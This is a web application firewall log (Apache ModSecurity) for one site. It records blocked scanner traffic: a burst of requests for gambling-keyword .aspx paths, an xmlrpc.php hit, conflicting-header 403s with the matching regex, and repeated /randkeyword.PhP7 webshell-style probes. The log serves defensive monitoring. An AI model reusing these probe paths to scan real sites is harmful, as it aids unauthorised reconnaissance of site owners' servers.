[Tue Mar 17 20:44:56.642094 2026] [:error] [pid 22541:tid 22560] [client 54.37.86.225:51526] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ablMyKS6JNY1-CTsTA8a3gAAAQ4"]
[Tue Mar 17 20:44:59.054361 2026] [:error] [pid 45915:tid 45947] [client 54.37.86.225:51528] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ablMy5h7U84ydzcrcneXwQAAABI"]
[Tue Mar 17 20:45:01.605561 2026] [:error] [pid 22541:tid 22554] [client 54.37.86.225:51540] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ablMzaS6JNY1-CTsTA8a4QAAAQg"]
[Tue Mar 17 20:45:03.998461 2026] [:error] [pid 45915:tid 45943] [client 54.37.86.225:60680] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "ablMz5h7U84ydzcrcneX3gAAAA4"]
[Tue Mar 17 20:45:06.531673 2026] [:error] [pid 15011:tid 15056] [client 54.37.86.225:60692] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ablM0sNtgHlAHiPlDypT_QAAAcc"]
[Tue Mar 17 20:45:08.939543 2026] [:error] [pid 45915:tid 45944] [client 54.37.86.225:60698] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ablM1Jh7U84ydzcrcneX6AAAAA8"]
[Tue Mar 17 20:45:11.533901 2026] [:error] [pid 15162:tid 15179] [client 54.37.86.225:60710] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ablM17kCW4399PnBfYQAsAAAAkw"]
[Tue Mar 17 20:45:14.055044 2026] [:error] [pid 22541:tid 22566] [client 54.37.86.225:38204] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "ablM2qS6JNY1-CTsTA8a7AAAARQ"]
[Tue Mar 17 20:45:16.602248 2026] [:error] [pid 45916:tid 45971] [client 54.37.86.225:38216] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ablM3LiS53PnClk_C9CfcQAAAEk"]
[Tue Mar 17 20:45:18.992463 2026] [:error] [pid 45916:tid 45966] [client 54.37.86.225:38226] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ablM3riS53PnClk_C9CffgAAAEQ"]
[Tue Mar 17 20:45:21.544354 2026] [:error] [pid 45915:tid 45951] [client 54.37.86.225:38234] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "ablM4Zh7U84ydzcrcneX9wAAABY"]
[Tue Mar 17 20:45:42.085327 2026] [:error] [pid 15162:tid 15183] [client 54.37.86.225:39438] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "ablM9rkCW4399PnBfYQAzQAAAlA"]
[Tue Mar 17 20:45:44.414195 2026] [:error] [pid 45916:tid 45973] [client 54.37.86.225:47398] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "ablM-LiS53PnClk_C9CfmAAAAEs"]
[Tue Mar 17 20:45:46.945166 2026] [:error] [pid 15162:tid 15177] [client 54.37.86.225:47400] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ablM-rkCW4399PnBfYQA0gAAAko"]
[Tue Mar 17 20:45:49.466556 2026] [:error] [pid 14817:tid 14848] [client 54.37.86.225:47406] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ablM_eBWVgTpR3dKOgZTSAAAAVY"]
[Tue Mar 17 20:45:51.997879 2026] [:error] [pid 45916:tid 45977] [client 54.37.86.225:47422] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "ablM_7iS53PnClk_C9CfqAAAAE8"]
[Tue Mar 17 20:45:54.512146 2026] [:error] [pid 14817:tid 14849] [client 54.37.86.225:50056] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ablNAuBWVgTpR3dKOgZTUQAAAVc"]
[Tue Mar 17 20:45:57.000378 2026] [:error] [pid 14817:tid 14849] [client 54.37.86.225:50066] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ablNBOBWVgTpR3dKOgZTXgAAAVc"]
[Tue Mar 17 20:45:59.497194 2026] [:error] [pid 15013:tid 15093] [client 54.37.86.225:50078] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "ablNB1Zc-p7DonmJmm1GWgAAAhA"]
[Tue Mar 17 20:46:02.015994 2026] [:error] [pid 45915:tid 45945] [client 54.37.86.225:50092] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ablNCph7U84ydzcrcneYIQAAABA"]
[Tue Mar 17 20:46:04.366881 2026] [:error] [pid 45915:tid 45941] [client 54.37.86.225:55234] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ablNDJh7U84ydzcrcneYKgAAAAw"]
[Tue Mar 17 20:46:06.875891 2026] [:error] [pid 46020:tid 46033] [client 54.37.86.225:55244] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ablNDn-nCcd9BdzGdLeY4wAAAMs"]
[Tue Mar 17 20:46:09.363023 2026] [:error] [pid 45915:tid 45931] [client 54.37.86.225:55260] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ablNEZh7U84ydzcrcneYOAAAAAI"]
[Tue Mar 17 20:46:11.887800 2026] [:error] [pid 45915:tid 45946] [client 54.37.86.225:55264] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ablNE5h7U84ydzcrcneYQQAAABE"]
[Tue Mar 17 20:46:14.386520 2026] [:error] [pid 45915:tid 45953] [client 54.37.86.225:60540] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ablNFph7U84ydzcrcneYUgAAABg"]
[Tue Mar 17 20:46:16.893217 2026] [:error] [pid 45915:tid 45950] [client 54.37.86.225:60554] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ablNGJh7U84ydzcrcneYXgAAABU"]
[Tue Mar 17 20:46:19.395785 2026] [:error] [pid 45916:tid 45965] [client 54.37.86.225:60570] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ablNG7iS53PnClk_C9CfwwAAAEM"]
[Tue Mar 17 20:46:21.755208 2026] [:error] [pid 45916:tid 45966] [client 54.37.86.225:60580] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ablNHbiS53PnClk_C9CfyQAAAEQ"]
[Tue Mar 17 20:46:24.239887 2026] [:error] [pid 15013:tid 15088] [client 54.37.86.225:51036] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ablNIFZc-p7DonmJmm1GagAAAgs"]
[Tue Mar 17 20:46:26.740921 2026] [:error] [pid 45916:tid 45979] [client 54.37.86.225:51050] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ablNIriS53PnClk_C9Cf0QAAAFE"]
[Tue Mar 17 20:46:29.237885 2026] [:error] [pid 22541:tid 22561] [client 54.37.86.225:51058] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ablNJaS6JNY1-CTsTA8bIgAAAQ8"]
[Tue Mar 17 20:46:31.876050 2026] [:error] [pid 14817:tid 14839] [client 54.37.86.225:51066] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ablNJ-BWVgTpR3dKOgZTgwAAAU0"]
[Tue Mar 17 20:46:34.355703 2026] [:error] [pid 45915:tid 45944] [client 54.37.86.225:40082] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "ablNKph7U84ydzcrcneYfAAAAA8"]
[Tue Mar 17 20:46:36.870503 2026] [:error] [pid 22541:tid 22562] [client 54.37.86.225:40088] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ablNLKS6JNY1-CTsTA8bLAAAARA"]
[Tue Mar 17 20:46:39.377727 2026] [:error] [pid 22541:tid 22561] [client 54.37.86.225:40098] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ablNL6S6JNY1-CTsTA8bOQAAAQ8"]
[Tue Mar 17 20:47:00.330833 2026] [:error] [pid 14929:tid 14955] [client 54.37.86.225:40108] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ablNRPTUDuLSLjNnyavhNAAAAZM"]
[Tue Mar 17 20:47:02.778312 2026] [:error] [pid 45915:tid 45940] [client 54.37.86.225:59154] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ablNRph7U84ydzcrcneYuwAAAAs"]
[Tue Mar 17 20:47:05.314493 2026] [:error] [pid 22541:tid 22567] [client 54.37.86.225:59160] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ablNSaS6JNY1-CTsTA8bYQAAARU"]
[Tue Mar 17 20:47:07.672592 2026] [:error] [pid 46020:tid 46041] [client 54.37.86.225:59174] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ablNS3-nCcd9BdzGdLeY_wAAANM"]
[Tue Mar 17 20:47:10.323044 2026] [:error] [pid 45915:tid 45933] [client 54.37.86.225:59180] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ablNTph7U84ydzcrcneYzgAAAAQ"]
[Tue Mar 17 20:47:12.817865 2026] [:error] [pid 22541:tid 22557] [client 54.37.86.225:41928] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ablNUKS6JNY1-CTsTA8bdgAAAQs"]
[Tue Mar 17 20:47:15.347658 2026] [:error] [pid 46020:tid 46030] [client 54.37.86.225:41938] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ablNU3-nCcd9BdzGdLeZAwAAAMg"]
[Tue Mar 17 20:47:17.844686 2026] [:error] [pid 45915:tid 45945] [client 54.37.86.225:41952] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ablNVZh7U84ydzcrcneY3QAAABA"]
[Tue Mar 17 20:47:20.330842 2026] [:error] [pid 45915:tid 45931] [client 54.37.86.225:41966] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ablNWJh7U84ydzcrcneY5AAAAAI"]
[Tue Mar 17 20:47:22.832357 2026] [:error] [pid 22541:tid 22552] [client 54.37.86.225:52668] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ablNWqS6JNY1-CTsTA8bfwAAAQY"]
[Tue Mar 17 20:47:25.155763 2026] [:error] [pid 14817:tid 14839] [client 54.37.86.225:52682] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ablNXeBWVgTpR3dKOgZT3wAAAU0"]
[Tue Mar 17 20:47:27.658698 2026] [:error] [pid 14929:tid 14950] [client 54.37.86.225:52698] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ablNX_TUDuLSLjNnyavhOQAAAY4"]
[Tue Mar 17 20:47:30.173961 2026] [:error] [pid 45915:tid 45929] [client 54.37.86.225:52704] [client 54.37.86.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ablNYph7U84ydzcrcneY7gAAAAA"]
[Tue Mar 17 23:09:06.812744 2026] [:error] [pid 22541:tid 22570] [client 158.173.25.98:60322] [client 158.173.25.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.173.25.98, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ablukqS6JNY1-CTsTA9YVwAAARg"]
[Tue Mar 17 23:49:43.034757 2026] [:error] [pid 14817:tid 14835] [client 49.51.253.83:55466] [client 49.51.253.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abl4F-BWVgTpR3dKOgaY1gAAAUk"]
[Wed Mar 18 00:06:30.517676 2026] [:error] [pid 45916:tid 45969] [client 182.42.111.156:57308] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abl8BriS53PnClk_C9DOcgAAAEc"]
[Wed Mar 18 02:33:03.020816 2026] [:error] [pid 40715:tid 40946] [client 20.39.61.185:18575] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abmeX2cms0rUPgdkLiEQQgAAAAg"]
[Wed Mar 18 02:33:04.335754 2026] [:error] [pid 63612:tid 63619] [client 20.39.61.185:18942] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abmeYO7vPBSR8vo387NKtgAAAYU"]
[Wed Mar 18 02:33:06.710742 2026] [:error] [pid 40715:tid 40962] [client 20.39.61.185:18920] [client 20.39.61.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abmeYmcms0rUPgdkLiEQSQAAABg"]
